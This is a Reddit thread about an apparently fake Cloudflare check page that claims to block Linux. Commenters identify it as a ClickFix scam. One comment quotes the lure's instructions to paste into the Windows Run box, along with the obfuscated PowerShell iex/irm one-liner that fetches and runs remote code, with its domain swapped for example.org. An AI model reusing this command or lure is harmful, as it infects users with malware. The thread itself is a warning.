Cloudflare blocking linux, is this new?

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309_Electronics@reddit

Cant even show the link? Also this is 10000000% a fake cloudflare site. It probably is a clickfix scam or the website downloads windows targetred malware.

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mapold@reddit

The domain contained this fake authentication:

To better prove you are not a robot, please:
1. Press & hold the Windows Key + R.
2. In the verification window, press Ctrl + V.3. Press Enter on your keyboard to finish.
3. Press Enter on your keyboard to finish.
You will observe and agree:
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The site "copies" this to your clipboard (I changed the domain name to not resolve):

powernotshell "Write-Host(&{iex(irm(('exa'+'mple')+('.org/i')))})2>$null" # Security check I'm not a robot Verification ID: 996278

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Journeyj012@reddit

The page you are visiting is likely using a fake version of cloudflare and they haven't built any linux malware yet.

https://www.reddit.com/r/antivirus/comments/1qy529j/very_tech_illiterate_very_paranoid_ran_a/

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SMF67@reddit

No, it looks real to me. OP posted the link. It's probably something that the website owner (mis)configured in their cloudflare settings though

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Craftkorb@reddit

The post you linked clearly shows why it's so harmful to teach users, especially now with the swath of newbies, that it's okay to run a random "curl into bash" command to install shit.

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Initial-Return8802@reddit

It’s a scam, you’ve clicked something dangerous but they need a Windows PC to actually infect - good thing you’re on Linux, eh?

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Maleficent_Celery_55@reddit

Even on windows, you'd need to copy and paste the powershell commands.

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OkObjective8721@reddit

OP probably just went to a fake site https://www.reddit.com/r/antivirus/comments/1qy529j/very_tech_illiterate_very_paranoid_ran_a/

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OkObjective8721@reddit

It works tho, unless its one of those scam sites where they ask you to input something in powershell

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Loveangel1337@reddit

Seconded, I have never seen such a message from actual CF, and android, macos & iOS all worked perfectly yesterday with Chrome and Safari.

If the website owner wanted, they could aks to force Windows, I believe, through User-Agent filtering, but it would inform you that a filter failed, not say some weird message like this.

CF's own reference, essentially "any modern browser" from last 10 years will most likely work, as long as it has JavaScript enabled with the relevant APIs. https://developers.cloudflare.com/cloudflare-challenges/reference/supported-browsers/

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